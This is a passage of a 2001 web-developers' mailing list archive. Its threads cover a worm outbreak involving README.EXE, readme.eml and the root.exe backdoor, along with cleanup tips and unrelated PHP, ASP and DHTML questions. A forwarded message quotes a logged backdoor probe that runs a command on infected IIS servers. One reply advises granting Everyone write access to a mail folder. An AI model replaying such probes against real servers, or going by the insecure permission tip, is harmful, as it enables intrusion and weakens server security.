one of my sites yesterday morning (the popup window came up with the weird 
message), he told me about this weird popup window and why was I doing 
that..... so I went to my site with Opera and checked it out, at that point 
neither of us knowing why I had this weird popup window. Fortunately he 
found out why within minutes and emailed me information, and then I called 
my ISP about it. (Thanks to Charles Johnson of 
http://www.littlegreenfootballs.com/ for happening to visit my site and 
find it and let me know yesterday....)

After that Opera kept crashing and I couldn't open it with my usual "Open 
with previously saved windows".... and Opera never crashes on me. So I knew 
something was up. So I opened it with no windows and immediately deleted my 
cache and my history. Then it worked fine.

That's when I also wondered if anything was on my computer anywhere else, 
ran the Readme.exe search and found those files in the Embedded folder in 
Eudora. I'd already looked in the Attachments folder (the usual spot for 
virii) and didn't find anything. This was before the virus updates were 
available.

Needless to say, I also ran a complete scan of my entire computer after I 
downloaded the latest virus software update yesterday afternoon.

So even if you don't think you have any problems, I'd still suggest running 
a search on your computer and making sure you don't have any of the problem 
files residing in it. The problem files may just sit there not do anything, 
as mine hadn't yet, but I also didn't open that Readme.exe file either (and 
I wouldn't have, either).

So that's my story. ;-) Hope it helps someone else.

Warmly,
Shirley
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Website Development  http://www.skdesigns.com/
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At 07:05 AM 09/19/2001, you wrote:
>One more tip while people are tossing them about about virii and windows..
>
>Search your IIS server for a file called root.exe and delete it - if you 
>have it you've been compromised. *NO* patches from MS delete this file.
>
>Ironically, I blogged this last week:
>root.exe allows anyone on the internet to have commands on the machine 
>executed with web server privileges, and can typically be used to set up 
>logging of credit card information and other sensitive data on SSL 
>servers. This has created a new class of ecommerce site which has been 
>correctly patched for known server vulnerabilities, but have a live 
>backdoor facility enabling attackers to continue to remain in control of 
>the machine.
>
>typcially you'll find the file in the inetpub/scripts directory. I had 
>four clients yesterday who had their machines 100% patched, but were still 
>being controlled through the root.exe file. whats more scary is 13% of 
>*SSL* IIS websites on the internet have the root.exe exploit installed on 
>them according to Netcraft..
>
>.djc.
>
>Richard H. Morris wrote:
>
>>John Handelaar [genghis at members.evolt.org] wrote:
>>
>>>-----Original Message-----
>>>Utterly unhelpful.  Way to go, Richard.
>>>
>>>The answer:
>>>
>>>1       Look for all instances of README.EXE on your local
>>>         disks and delete them
>>>
>>>2       Search the registry for 'macrosoft' and remove the
>>>         keys
>>>
>>>3       Uninstall IIS and Windows Scripting Server on your
>>>         desktop machine
>>>
>>>4       Disable 'active scripting' in IE at all 4 security
>>>         settings.  Better still, get Mozilla 0.9.4 instead
>>>         'cos it's (believe it or not) more robust and doesn't
>>>         suffer from the security bug which enables one
>>>         of this worm's 6 or 7 methods of propagation.
>>Re: 4, just get a Mac and don't worry about Wintel executables? Just as
>>helpful advice...





From cvos at netpaths.net  Wed Sep 19 12:57:42 2001
From: cvos at netpaths.net (Cayley Vos)
Date: Wed Sep 19 12:57:42 2001
Subject: [thelist] virus and readme.eml
Message-ID: <3BA8DBEC.1826C7A9@netpaths.net>

is it true that a readme.eml file is part of this nasty ADMIN virus
spreading around?  I saw one embedded in a webpage, occuring as a popup

--


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360.714.8395 office
360.223.7799 cell

http://NetPaths.net
_______________________________
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From rklegman at mediaone.net  Wed Sep 19 13:04:33 2001
From: rklegman at mediaone.net (Ron Klegman)
Date: Wed Sep 19 13:04:33 2001
Subject: [thelist] virus and readme.eml
In-Reply-To: <3BA8DBEC.1826C7A9@netpaths.net>
Message-ID: <NDBBKDHNAKILPHDKFHBKMEFHFJAA.rklegman@mediaone.net>

Yes.. it is a README.EXE I believe. 

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Cayley Vos
> Sent: Wednesday, September 19, 2001 1:55 PM
> To: evolt tech help
> Subject: [thelist] virus and readme.eml
> 
> 
> is it true that a readme.eml file is part of this nasty ADMIN virus
> spreading around?  I saw one embedded in a webpage, occuring as a popup
> 
> 




From morbus at disobey.com  Wed Sep 19 13:10:28 2001
From: morbus at disobey.com (Morbus Iff)
Date: Wed Sep 19 13:10:28 2001
Subject: [thelist] virus and readme.eml
In-Reply-To: <3BA8DBEC.1826C7A9@netpaths.net>
Message-ID: <5.1.0.14.2.20010919140907.009e9070@red.totalnetnh.net>

 >is it true that a readme.eml file is part of this nasty ADMIN virus
 >spreading around?  I saw one embedded in a webpage, occuring as a popup

Yuppers. That would be so. When it gets spread through email, it's 
README.EXE, when a webserver has been infected, it does the README.EML, 
which is autodownloaded by Internet Explorer 5.0 (unless you're patched).

You may want to email said webserver and let them know about Linux.


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From skaiser1 at skdesigns.com  Wed Sep 19 13:10:32 2001
From: skaiser1 at skdesigns.com (Shirley Kaiser, SKDesigns)
Date: Wed Sep 19 13:10:32 2001
Subject: [thelist] virus and readme.eml
In-Reply-To: <3BA8DBEC.1826C7A9@netpaths.net>
Message-ID: <5.1.0.14.2.20010919110432.02fac0a0@mail.midtown.net>

At 10:54 AM 09/19/2001, Cayley Vos wrote:
>is it true that a readme.eml file is part of this nasty ADMIN virus
>spreading around?  I saw one embedded in a webpage, occuring as a popup

Yep, exactly true, and now your computer may be spreading the virus.... 
just because you happened to visit that webpage. Although it just seems to 
be using Internet Explorer, there are other problems that I discovered 
yesterday. Read the note I just sent to thelist with the subject 
"Readme.exe,  Eudora, and Opera (was Re: [thelist] failure"

Best to run a virus scan on your computer and get rid of it immediately. 
And if you use Outlook for your email and opened that web page with 
Internet Explorer, you may be spreading the virus in addition to having it 
in your computer. Check out other notes here for how to get rid of it. 
There are links and resources already listed.

Warmly,
Shirley

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From bill at webmarketingworx.com  Wed Sep 19 13:10:37 2001
From: bill at webmarketingworx.com (Bill Haenel)
Date: Wed Sep 19 13:10:37 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <ODEOKNPHACELCCHDHABAEEHCCPAA.john@userfrenzy.com>
Message-ID: <NEBBKJHBCLFCFFMCEMFICEENCHAA.bill@webmarketingworx.com>

> 1	Find something running as a service which oughtn't
> 	to be there (CTRL-ALT-DEL:task manager:processes).
> 	Kill it and delete it, look for refs to it in the
> 	registry and delete them.  If you have no idea what
> 	I'm talking about then mail me a list of processes.

Didn't try this - good thinking.


> or (less likely)
>
> 2	I'm hearing something about SYSTEM.INI resetting
> 	the Windows shell to 'explorer.exe' and appending
> 	some autorun shit to it.  Worth checking just in case.

Tried this  - wasn't it.


> or (much less likely)
>
> 3	Make sure you've got the permission required to nuke
> 	the file.  If you're not logged in as Administrator
> 	it might not work.

Definitely not this, unless someone has changed perms on me, which is next
to impossible.


Thanks so much to everyone who's offered assistance. I'll try this and some
other info I've found, and then I'll let the group know if I find anything
out that hasn't already appeared here.

You guys are so great.

BH





From MMcAtee at philamuseum.org  Wed Sep 19 13:41:04 2001
From: MMcAtee at philamuseum.org (McAtee, Malcolm)
Date: Wed Sep 19 13:41:04 2001
Subject: [thelist] PHP equivalent to CFMAIL
Message-ID: <E40026A94B88D511B1D000508BC741332489BC@MAILHOST>

Does any one have or know where to locate PHP code that duplicates CFMAIL
functionality.
I need to send form results to an action page which has a "thank you"
message ad fill will forward the results in an e-mail


Thanks Malcolm

//---------------//
Malcolm J. Mcatee
Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
//---------------//





From rthigpen at nc.rr.com  Wed Sep 19 13:41:07 2001
From: rthigpen at nc.rr.com (Ron Thigpen)
Date: Wed Sep 19 13:41:07 2001
Subject: [thelist] virus and readme.eml
References: <3BA8DBEC.1826C7A9@netpaths.net>
Message-ID: <3BA8E217.7070006@nc.rr.com>

yes, readme.eml is a mulitpart-MIME formatted file that used by the worm 
  in one of many propagation methods.

infected webpages have been appended with a bit of javascript that will 
attempt to open a new browser window (offset by 6000 pixels vertically 
and horizontally from the upper left corner of your screen, so that you 
may not see this window) and load the file readme.eml into this new window.

this file takes advantage of a vulnerability in some unpatched versions 
of IE that allow it to execute code embedded in these multipart-MIME 
files.   one part of this multipart message is a base64 encoded file 
named readme.exe.  so, readme.eml is a transport vessel for readme.exe.

if you are running a vulnerable version of IE, you may see a cmd (DOS 
command) window pop up as the readme.exe file is executed.  once this 
occurs, that machine is infected.  infected machines will begin trying 
to propoagate the virus via file shares, web server infection (as 
above), network scanning for vulnerable web servers (similar to Code Red 
propagation), and by e-mail (similar to Melissa propagation).

if you are not running a vulnerable version of IE you may have been 
prompted to open, run or save this eml file.  the safest choice is to 
'Cancel', choosing none of these, though saving may be safe, as long you 
don't unencode the readme.exe portion and execute it.

--rt


Cayley Vos wrote:

> is it true that a readme.eml file is part of this nasty ADMIN virus
> spreading around?  I saw one embedded in a webpage, occuring as a popup
> 
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> 
> 
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> 
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From rolson at otn.net  Wed Sep 19 13:59:22 2001
From: rolson at otn.net (rick)
Date: Wed Sep 19 13:59:22 2001
Subject: [thelist] PHP equivalent to CFMAIL
References: <E40026A94B88D511B1D000508BC741332489BC@MAILHOST>
Message-ID: <008601c1413c$e08c2a50$74a6aace@spacemonkey>

Do you know PHP?  This would be a fairly simple script using the mail()
function to actually send the email.

rick
http://techno-weenie.com
----- Original Message -----
From: "McAtee, Malcolm" <MMcAtee at philamuseum.org>
To: <thelist at lists.evolt.org>
Sent: Wednesday, September 19, 2001 10:27 AM
Subject: [thelist] PHP equivalent to CFMAIL


> Does any one have or know where to locate PHP code that duplicates CFMAIL
> functionality.
> I need to send form results to an action page which has a "thank you"
> message ad fill will forward the results in an e-mail
>
>
> Thanks Malcolm
>
> //---------------//
> Malcolm J. Mcatee
> Web Designer
> Philadelphia Museum of Art
> 215-684-7748
> mmcatee at philamuseum.org
> //---------------//
>
>
>
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From JGreen at DesMoinesMetro.com  Wed Sep 19 14:03:24 2001
From: JGreen at DesMoinesMetro.com (Green, Janet)
Date: Wed Sep 19 14:03:24 2001
Subject: [thelist] Javascript or ASP?
Message-ID: <9BF107507B15D511B2D6000255586DFA15F8E0@exchweb.partners.com>

Ok a fun project this time. I've created a daily "start page" for everyone
in my office to use as a calendar of organization events, staff birthdays,
etc. (sort of a one-page intranet.) I'd like to include a quote of the day,
and have collected a bunch of quotes. Would I use Javascript or something
else to create a random quote selector for this page? Everyone is on Win98
or 2000, using IE 5. Thoughts/hints appreciated. Thanks! 
Janet




From JGreen at DesMoinesMetro.com  Wed Sep 19 14:17:33 2001
From: JGreen at DesMoinesMetro.com (Green, Janet)
Date: Wed Sep 19 14:17:33 2001
Subject: [thelist] Javascript or ASP?
Message-ID: <9BF107507B15D511B2D6000255586DFA15F8E1@exchweb.partners.com>

Nevermind, I found just what I was looking for! :) 


-----Original Message-----
From: Green, Janet [mailto:JGreen at DesMoinesMetro.com]
Sent: Wednesday, September 19, 2001 2:01 PM
To: 'thelist at lists.evolt.org'
Subject: [thelist] Javascript or ASP?


Ok a fun project this time. I've created a daily "start page" for everyone
in my office to use as a calendar of organization events, staff birthdays,
etc. (sort of a one-page intranet.) I'd like to include a quote of the day,
and have collected a bunch of quotes. Would I use Javascript or something
else to create a random quote selector for this page? Everyone is on Win98
or 2000, using IE 5. Thoughts/hints appreciated. Thanks! 
Janet


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From jcrawford at avencom.com  Wed Sep 19 14:17:44 2001
From: jcrawford at avencom.com (Joe Crawford)
Date: Wed Sep 19 14:17:44 2001
Subject: [thelist] PHP equivalent to CFMAIL
References: <E40026A94B88D511B1D000508BC741332489BC@MAILHOST>
Message-ID: <3BA8ECDC.B410D062@avencom.com>

"McAtee, Malcolm" wrote:
> Does any one have or know where to locate PHP code that duplicates CFMAIL
> functionality.
> I need to send form results to an action page which has a "thank you"
> message ad fill will forward the results in an e-mail

Hi Malcolm - I'll take a stab...

(From the CF documentation):
<CFMAIL
    TO="#form.mailto#"
    FROM="#form.mailFrom#"
    SUBJECT="#form.subject#">
This message was sent by an
automatic mailer built with CFMAIL:
====================================================
#form.body#
</CFMAIL> 

And the equivalent in PHP would be (these are new variable names):
mail( $form_mailto,$form_subject,
"This message was sent by an
automatic mailer built with mail() in php:
====================================================
$form_body" ,"From: $form_mailFrom");
/* http://www.php.net/manual/en/function.mail.php */

HTH!

	- Joe <http://artlung.com/>
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.....  mailto:jcrawford at avencom.com \\ http://www.avencom.com
.... San Diego \\ CA \\ USA \\ AVENCOM: Set Your Sites Higher




From David at softv.net  Wed Sep 19 14:17:56 2001
From: David at softv.net (David at softv.net)
Date: Wed Sep 19 14:17:56 2001
Subject: [thelist] Javascript or ASP?
Message-ID: <439FDCB7FFC8D311AE5E006008909CBB7C7383@IMAIL>

Javascript would be an good way. Why not let the client side do the
processing instead of your server? (which would be the case if you
used ASP)... Create an array of all your quotes. On page load,
randomly select an element out of the array and write it out...

Dave

-----Original Message-----
From: Green, Janet [mailto:JGreen at DesMoinesMetro.com]
Sent: Wednesday, September 19, 2001 3:01 PM
To: 'thelist at lists.evolt.org'
Subject: [thelist] Javascript or ASP?


Ok a fun project this time. I've created a daily "start page" for
everyone
in my office to use as a calendar of organization events, staff
birthdays,
etc. (sort of a one-page intranet.) I'd like to include a quote of the
day,
and have collected a bunch of quotes. Would I use Javascript or
something
else to create a random quote selector for this page? Everyone is on
Win98
or 2000, using IE 5. Thoughts/hints appreciated. Thanks! 
Janet


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From evolt at spinhead.com  Wed Sep 19 14:45:56 2001
From: evolt at spinhead.com (spinhead)
Date: Wed Sep 19 14:45:56 2001
Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory?
Message-ID: <006e01c14140$2bf9fb40$aa01000a@HEISENBERG>

Trying one more time before I give Microsoft more money for tech support . .
.

spinhead

----- Original Message -----
From: "spinhead" <evolt at spinhead.com>
To: "evolt" <thelist at lists.evolt.org>
Sent: Friday, September 14, 2001 3:08 PM
Subject: [thelist] CDONTS again - can't send mail from a subdirectory?


> CDONTS on Win2K - have a 3rd party app that's basically ASP pages
accessing
> a database. I've added a bit of code to send an e-mail every time a
certain
> page is hit (to be modified eventually to include the info just posted by
> the user.)
>
> Except the mail dumps into the badmail folder with this error:
> =====================================
> Unable to deliver this message because the follow error was encountered:
> "Error is processing file in pickup directory.".
>
> The specific error code was 0xC00402CE.
> =====================================
> I've even copied my testmail.asp page (which works right now in the root
of
> the web) to the subfolder, and it won't send.
>
> Any ideas?
>
> spinhead
>
>
>
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From jedimaster at macromedia.com  Wed Sep 19 14:46:00 2001
From: jedimaster at macromedia.com (Raymond Camden)
Date: Wed Sep 19 14:46:00 2001
Subject: [thelist] Javascript or ASP?
In-Reply-To: <439FDCB7FFC8D311AE5E006008909CBB7C7383@IMAIL>
Message-ID: <002701c14140$74da71f0$6401a8c0@mylittledomain.internal>

Wouldn't this be an issue though if you have 50+ quotes? Anything more
than a few quotes will slow down the page load. I'd do it in ASP.

(Well, _I'd_ do it in CF, but that's my opinion. ;)

=======================================================================
Raymond Camden, Principal Spectra Compliance Engineer for Macromedia

Email    : jedimaster at macromedia.com
Yahoo IM : morpheus

"My ally is the Force, and a powerful ally it is." - Yoda 

> -----Original Message-----
> From: thelist-admin at lists.evolt.org 
> [mailto:thelist-admin at lists.evolt.org] On Behalf Of David at softv.net
> Sent: Wednesday, September 19, 2001 3:16 PM
> To: thelist at lists.evolt.org
> Subject: RE: [thelist] Javascript or ASP?
> 
> 
> Javascript would be an good way. Why not let the client side 
> do the processing instead of your server? (which would be the 
> case if you used ASP)... Create an array of all your quotes. 
> On page load, randomly select an element out of the array and 
> write it out...
> 





From djc at members.evolt.org  Wed Sep 19 14:57:24 2001
From: djc at members.evolt.org (Daniel J. Cody)
Date: Wed Sep 19 14:57:24 2001
Subject: [thelist] How do I address hacking attempts recorded in my logs? (fwd)
Message-ID: <Pine.LNX.4.21.0109191456160.1372-100000@leo.evolt.org>


---------- Forwarded message ----------
Date: Wed, 19 Sep 2001 13:31:39 -0600 (MDT)
From: found at warmonger.net
To: thelist at evolt.org
Subject: How do I address hacking attempts recorded in my logs?

I am so tired of this.  I have a little, out of the way, low volume server for my personal enjoyment.  I make a point of keeping it out of the search engines.  Yet I keep finding hacking attempts recorded in my Apache logs.  Nobody (that I don't want in) has broken in, but this nonsense is starting to eat into my meager server resources.

For example, I've been receiving a string of ISS exploit attacks for a day and a half from Verio's IP address block.  It starts with 

"GET /scripts/root.exe?/c+dir HTTP/1.0" 302 216 "-" "-", 

runs through a stack of similar hacking attempts, then jumps to another IP address and starts over again.  As soon as I saw it I changed my allow,deny to shut out Verio's address block, but now my error log is flooded with 403 errors.

What am I supposed to do if Verio doesn't do anything about this?  I have yet to hear a response to my e-mail report.

In the past, I've politely asked webmasters to clean up their own houses.  In the few cases where that didn't work, sending an invoice for my wasted resources elicited a frantic phone call followed by an apology (which was enough for me).  I can't afford the bandwidth and server time this continued attack is wasting.  If they don't respond quickly, do I really have no choice but to report them to the U.S. authorities for aiding in hacking attacks?





From joshua at alphashop.net  Wed Sep 19 15:05:14 2001
From: joshua at alphashop.net (Joshua Olson)
Date: Wed Sep 19 15:05:14 2001
Subject: [thelist] Javascript or ASP?
References: <002701c14140$74da71f0$6401a8c0@mylittledomain.internal>
Message-ID: <01a901c14147$3426dc50$a600a8c0@mrtnz1.ga.home.com>

This might be a candidate for an external js file, perhaps.  I believe it
was said this was for an intranet (she said "in my office") so d/l time
should be negligible and then even it's cached.  Shouldn't be a big deal.

Just my 2c.

-joshua

----- Original Message -----
From: "Raymond Camden" <jedimaster at macromedia.com>
To: <thelist at lists.evolt.org>
Sent: Wednesday, September 19, 2001 3:22 PM
Subject: RE: [thelist] Javascript or ASP?


: Wouldn't this be an issue though if you have 50+ quotes? Anything more
: than a few quotes will slow down the page load. I'd do it in ASP.
:
: (Well, _I'd_ do it in CF, but that's my opinion. ;)





From mspiegler at lightbulbpress.com  Wed Sep 19 15:15:57 2001
From: mspiegler at lightbulbpress.com (Matt)
Date: Wed Sep 19 15:15:57 2001
Subject: [thelist] DHTML Menu under Form elements
Message-ID: <3BA8FCC4.8CFC713A@lightbulbpress.com>

Is there any way to avoid a DHTML dropdown menu always appearing behind
form elements? Does someone know of a workaround or am I S.O.L.?

thanks,

matt





From Matt at grndwtr.com  Wed Sep 19 15:16:01 2001
From: Matt at grndwtr.com (Matthias Ritzkowski)
Date: Wed Sep 19 15:16:01 2001
Subject: [thelist] CDONTS again - can't send mail from a subdirectory?
Message-ID: <8179FA78B6D0D111AA53006097B0128007AF10@mail1>

Did you test whether it's CDONTS or the app that's causing you problems ...?
Drop an email file into the pickup directory and see if it sends ok.
If it does, CDONTS works and something with your code or app is up.
I have used CDONTS for a while now and found it very low maintenance for low
traffic volume.
You are more than welcome to drop me a line off list if you need some help!

Matthias

-----Original Message-----
From: spinhead [mailto:evolt at spinhead.com]
Sent: Wednesday, September 19, 2001 15:21
To: evolt
Subject: Fw: [thelist] CDONTS again - can't send mail from a
subdirectory?


Trying one more time before I give Microsoft more money for tech support . .
 .

spinhead

----- Original Message -----
From: "spinhead" <evolt at spinhead.com>
To: "evolt" <thelist at lists.evolt.org>
Sent: Friday, September 14, 2001 3:08 PM
Subject: [thelist] CDONTS again - can't send mail from a subdirectory?


> CDONTS on Win2K - have a 3rd party app that's basically ASP pages
accessing
> a database. I've added a bit of code to send an e-mail every time a
certain
> page is hit (to be modified eventually to include the info just posted by
> the user.)
>
> Except the mail dumps into the badmail folder with this error:
> =====================================
> Unable to deliver this message because the follow error was encountered:
> "Error is processing file in pickup directory.".
>
> The specific error code was 0xC00402CE.
> =====================================
> I've even copied my testmail.asp page (which works right now in the root
of
> the web) to the subfolder, and it won't send.
>
> Any ideas?
>
> spinhead
>
>
>
>
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From jedimaster at macromedia.com  Wed Sep 19 15:16:06 2001
From: jedimaster at macromedia.com (Raymond Camden)
Date: Wed Sep 19 15:16:06 2001
Subject: [thelist] Javascript or ASP?
In-Reply-To: <01a901c14147$3426dc50$a600a8c0@mrtnz1.ga.home.com>
Message-ID: <003b01c14147$3cc1ecb0$6401a8c0@mylittledomain.internal>

Even if it was an external JS file, it would have to be accessed and
downloaded, correct?

Of course, if it _is_ on an intranet, it's not that big of a deal...
however, even locally, large files tend to make the browser a bit
sluggish, even on my nice system (p4, lots of ram, etc.)

Just my 4c.

> This might be a candidate for an external js file, perhaps.  
> I believe it was said this was for an intranet (she said "in 
> my office") so d/l time should be negligible and then even 
> it's cached.  Shouldn't be a big deal.
> 
> Just my 2c.
> 
> -joshua





From Anthony at Baratta.com  Wed Sep 19 15:26:40 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Wed Sep 19 15:26:40 2001
Subject: Fw: [thelist] CDONTS again - can't send mail from a
  subdirectory?
In-Reply-To: <006e01c14140$2bf9fb40$aa01000a@HEISENBERG>
Message-ID: <5.1.0.14.2.20010919132317.02f63468@baratta.com>

At 12:20 PM 9/19/2001, you wrote:
>Trying one more time before I give Microsoft more money for tech support . .
>  .

Let's see the code you are using to send the mail.
----
Anthony Baratta
President
Keyboard Jockeys

"Conformity is the refuge of the unimaginative."





From emagin at onebox.com  Wed Sep 19 15:26:46 2001
From: emagin at onebox.com (Ed)
Date: Wed Sep 19 15:26:46 2001
Subject: [thelist] IIS Worm/Trojan Suggestion - Ghost Rollback
In-Reply-To: <20010919170849.B75A09AA@relay.evolt.org>
Message-ID: <IKEDIJDDDBGFHKCCAEAFIEENDEAA.emagin@onebox.com>

One thing I've found most frustrating and time-consuming when dealing with
these various worms is the installation of all the patches, which sometimes
don't guarantee the removal of hidden Reg Key entries and other harm that
can only be undone MANUALLY.

So I follow this general policy.

Install a clean copy of OS onto C: partition/drive
Create a DOS partition the size of the C: partition
Set IE's security level to CUSTOM and do not allow ANY scripting, etc. -
Disable everything.
Add windowsupdate.microsoft.com to Trusted sites.
I update servers with all patches up to a base level (for IIS you can use
the Aug 21 Microsoft Cumulative patch).

Disconnect that ethernet
Set up any IIS shares, sites, test, disable any features you don't need,
etc.
Boot to DOS and Ghost an image of the C: partition (which should only have
the OS on it anyhow) to the DOS partition
Keep apps and other shares in the D:, etc. partitions.
Copy this Ghost image someplace handy, like on a CD.

When this worm stuff goes down, just do an OS rollback to that last base
level image.
Then you KNOW there is nothing harmful in the build.
Then go out (using secure IE settings) and download any new patches, update,
etc. from MS
If significant, rebuild a new base build with Ghost and store it for the
next attack.


After several rebuilds and updates, I have found that, after initial setup,
this method is fairly quick and foolproof. It gives you a peace of mind
factor that makes the extra setup time worth it.

Hope this helps.

Ed






From jonhall at ozline.net  Wed Sep 19 15:53:55 2001
From: jonhall at ozline.net (Jon Hall)
Date: Wed Sep 19 15:53:55 2001
Subject: [thelist] CDONTS again - can't send mail from a subdirectory?
References: <006e01c14140$2bf9fb40$aa01000a@HEISENBERG>
Message-ID: <003501c1414c$3ba53fd0$a41f88d8@ns2>

Probably permissions problem. Try giving Everyone write permissions on the
spool folder, or at least the user that cdonts runs as (i dont know which).
I played with cdonts a while back, and I remember something really insecure
like this and I chose not to use it. Frontpage needs permissions set like
this too. I guess once you have one MS security hole, MS figures they might
as well add a few more.

jon
----- Original Message -----
From: "spinhead" <evolt at spinhead.com>
To: "evolt" <thelist at lists.evolt.org>
Sent: Wednesday, September 19, 2001 3:20 PM
Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory?


> Trying one more time before I give Microsoft more money for tech support .
.
>  .
>
> spinhead
>
> ----- Original Message -----
> From: "spinhead" <evolt at spinhead.com>
> To: "evolt" <thelist at lists.evolt.org>
> Sent: Friday, September 14, 2001 3:08 PM
> Subject: [thelist] CDONTS again - can't send mail from a subdirectory?
>
>
> > CDONTS on Win2K - have a 3rd party app that's basically ASP pages
> accessing
> > a database. I've added a bit of code to send an e-mail every time a
> certain
> > page is hit (to be modified eventually to include the info just posted
by
> > the user.)
> >
> > Except the mail dumps into the badmail folder with this error:
> > =====================================
> > Unable to deliver this message because the follow error was encountered:
> > "Error is processing file in pickup directory.".
> >
> > The specific error code was 0xC00402CE.
> > =====================================
> > I've even copied my testmail.asp page (which works right now in the root
> of
> > the web) to the subfolder, and it won't send.
> >
> > Any ideas?
> >
> > spinhead
> >
> >
> >
> >
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From pgerenda at visteon.com  Wed Sep 19 15:53:58 2001
From: pgerenda at visteon.com (Gerenday, Perry (P.))
Date: Wed Sep 19 15:53:58 2001
Subject: [thelist] DHTML Menu under Form elements
Message-ID: <200109192040.f8JKeIX30492@dymwsm09.mailwatch.com>

-----Original Message-----
From: Matt [mailto:mspiegler at lightbulbpress.com]

 > Is there any way to avoid a DHTML dropdown menu always 
 > appearing behind
 > form elements? Does someone know of a workaround or am I S.O.L.?
 
Hi Matt,

Some Old Lush? Song Of Love? I don't think so.

Why not float the form as well? Here try this:

<HTML>
<BODY>

<div id="forming" style="position:absolute; top:100px; left:100px;
visibility:visible; z-index:1;">
<form name="myform">
<input type="button" name="mybutton" value="Click Me"><br>
<input type="text" name="mytext" value="word box">
</form>
</div>

<div id="overlay" style="position:absolute; top:110px; left:155px;
visibility:visible; z-index:2;">
<table width="300" height="200" cellpadding="0" cellspacing="0"
bgcolor="#dd3355" border="1">
<tr><td align="center" valign="middle"><h1>Overlay</h1></td></tr></table>
</div>

</BODY>
</HTML>

Good Luck.

Perry Gerenday, Visual Communications Artist
www.virtually-artistic.com




From webmaster at equilon-mrc.com  Wed Sep 19 16:02:59 2001
From: webmaster at equilon-mrc.com (James Aylard)
Date: Wed Sep 19 16:02:59 2001
Subject: [thelist] DHTML Menu under Form elements
References: <3BA8FCC4.8CFC713A@lightbulbpress.com>
Message-ID: <007301c1414e$0e231800$2860398a@newcos.com>

Matt,

> Is there any way to avoid a DHTML dropdown menu always appearing behind
> form elements? Does someone know of a workaround or am I S.O.L.?

    You will have to hide the form elements when your dhtml drop-down is
dropped down. In IE 4+, you can simply change the CSS visibility property
for the affected form elements from "visible" to "hidden". But for Netscape
4.x you have to place the entire form within its own layer and then swap
that layer's visibility property -- not a pretty prospect.

James Aylard





From bruce at heerssen.com  Wed Sep 19 16:03:09 2001
From: bruce at heerssen.com (Bruce Heerssen)
Date: Wed Sep 19 16:03:09 2001
Subject: [thelist] virus and readme.eml
References: <5.1.0.14.2.20010919140907.009e9070@red.totalnetnh.net>
Message-ID: <3BA90651.60609@heerssen.com>

Morbus Iff wrote
<snip>

> Yuppers. That would be so. When it gets spread through email, it's 
> README.EXE, when a webserver has been infected, it does the 
> README.EML, which is autodownloaded by Internet Explorer 5.0 (unless 
> you're patched).
>
> You may want to email said webserver and let them know about Linux.

Truly a noble thought.  But every time I tried, there was no contact 
info. Which is hardly surprising considering that these servers have not 
been patched for very old holes.

-Bruce

>
>
> -- 
> Morbus Iff ( i am your scary godmother )
> http://www.disobey.com/ && http://www.gamegrene.com/
> please me: http://www.amazon.com/exec/obidos/wishlist/25USVJDH68554
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From webmaster at equilon-mrc.com  Wed Sep 19 16:55:32 2001
From: webmaster at equilon-mrc.com (James Aylard)
Date: Wed Sep 19 16:55:32 2001
Subject: [thelist] DHTML Menu under Form elements
References: <200109192040.f8JKeIX30492@dymwsm09.mailwatch.com>
Message-ID: <008401c1414f$59ed24a0$2860398a@newcos.com>

Perry,

> Why not float the form as well? Here try this:

    Unfortunately, this won't work with certain form elements -- namely, the
<select> element in IE4+. The select element does not participate in the
z-index order, and either its visibility property must be set to "hidden" or
its display property to "none". Of course, since in this case it is the
select element which is being recreated in dhtml, perhaps Matt can do away
with all true selects; all other elements should participate within the
z-index order.
    Netscape 4.x has additional elements which will shine through dhtml
layers, with a much more complicated solution scenario.

James Aylard





From r937 at interlog.com  Wed Sep 19 16:56:30 2001
From: r937 at interlog.com (rudy)
Date: Wed Sep 19 16:56:30 2001
Subject: [thelist] DHTML Menu under Form elements
Message-ID: <01c1414f$955b6060$cb4b149a@rudy>

> Is there any way to avoid a DHTML dropdown menu 
> always appearing behind form elements? Does someone 
> know of a workaround or am I S.O.L.?

hi matt

you are Sadly Outta Luck

(perry, there's a different "s" word that usually goes there)

form elements are part of the operating system

at least, that's my understanding 

the technical explanation involves the browser invoking
the operating system to construct the widget, 
or something like that

rudy





From Rory.Plaire at wahchang.com  Wed Sep 19 17:38:26 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Wed Sep 19 17:38:26 2001
Subject: [thelist] DHTML Menu under Form elements
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD184@arnold.bedrock.com>

| the technical explanation involves the browser invoking
| the operating system to construct the widget, 
| or something like that

Yes,

They are actually windows. Little ones. 8)

Here is a good exhaustion on the matter: 

http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;Q177378

Which basically says, "Sorry, Mr. Customer..."

"When you set the z-index of the DIV element to a value that is greater than
the IFRAME (such as 6), the DIV covers the IFRAME. This supports the above
statement that IFRAMEs are windowless and that they follow z-order with
respect to other windowless elements. When you set the z-index to a value
that is less than or equal to the IFRAME (such as 5), it still draws on top
of the DIV because the order of the elements takes precedence. When you set
the z-index of the DIV to 6 and leave the z-index of the SELECT element and
IFRAME at 5, the SELECT element always draws on top of the DIV because it is
windowed."

The conclusions about the sincerity of Microsoft to say they are giving the
customer what they want, and actually doing just this, are left to the
reader as excersise.

<rory disposition="all this, but still happy as a developer..." alt="8)"/>

<BTW>
Hmm... looks like MS revamped their KB access URLS. I hope they provided
backward compatibility for all their links... 8o
</BTW>




From Rory.Plaire at wahchang.com  Wed Sep 19 17:38:37 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Wed Sep 19 17:38:37 2001
Subject: [thelist] Chair issue revisited
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD185@arnold.bedrock.com>

Interested ones,

That chair which was nearly the determining factor of whether I left my old
job or stayed is called the H?G Balans kneeling chair.

http://www.comfortchannel.com/kneelingchair.html

Wow, they had an option for a foot ring! Mmm... the extra $76 may had been
worth it!

<rory disposition="in service" alt="8)"/>




From pf at cfdev.com  Wed Sep 19 19:30:25 2001
From: pf at cfdev.com (Pete Freitag)
Date: Wed Sep 19 19:30:25 2001
Subject: [thelist] Javascript or ASP?
